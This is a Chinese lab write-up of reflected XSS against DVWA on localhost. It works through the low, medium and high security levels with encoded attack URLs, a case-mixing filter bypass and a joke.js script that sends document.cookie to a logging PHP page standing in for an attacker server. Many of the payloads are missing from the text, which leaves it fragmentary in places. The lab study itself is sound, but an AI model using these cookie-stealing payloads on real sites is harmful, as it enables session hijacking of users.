1.先判断有误XSS漏洞
输入
值得注意的是输入 没有反应
显示如下
恶意url为:http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
获取cookie
首先在www文件下创建一个名为joke的文件夹(模拟攻击者服务器)
joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);
通过创建一张不存在的图片,让图片的地址指向joke.php,并把cookie复制到joke变量里
joke.php
joke.php的作用是把joke变量保存的cookie保存到服务器中
在输入 ,使得服务器调用joke.js脚本
joke.js再调用joke.php
恶意:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%3E%3C%2Fscript%3E#
在服务器中找到了一个记录着cookie的文件
重定向代码
恶意url localhost/dvwa/vulnerabilities/xss_r/?name=
会重定向到一个钓鱼网站。
源码分析:
Reflected XSS Source
Hello ' . $_GET[ 'name' ] . '
';
}
?>
直接把用户的输入赋值给了name没有做任何的过滤
输入 已经失效了
但当输入却成功了,意味着没有对大小写进行过滤
输入便可能到cookie
恶意url:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3CscRipt+src%3D%22http%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%22%3E%3C%2Fscript%3E#
源码分析
Reflected XSS Source
', '', $_GET[ 'name' ] );
// Feedback for end user
echo "Hello ${name}
";
}
?>
str_replace(find,replace,string,count)//找到相同的字符串然后赋值
因而当输入时,无法找到与,,
从这个>中得到提示,似乎只有>没有被过滤
当输入
当输入
当输入script不会给过滤,也就是说必须是从<开始搜索,搜索到script,则过滤,过滤方法应该是替换成空格
当输入
当输入
当输入
当改成大小写结合也一样
则可以猜测是从<开始匹配到t 进行过滤 如果完全匹配到
当输入只输出 > 的原因应该是用到了正则表达式的贪心,会从<开始搜索所有的script只要匹配就置换出空格
当输入
源码
Reflected XSS Source
Hello ${name}
";
}
?>
preg_replace 函数执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
/i表示不区分大小写,且从/开始匹配,只要匹配到 script中的任一个字符都将自动替换为空格
就算是输入了 自己的思路是把 最普通的xss代码 在当前页面弹出cookie 外部调用攻击代码ls.js 跳转某页面 当使用了黑名单过滤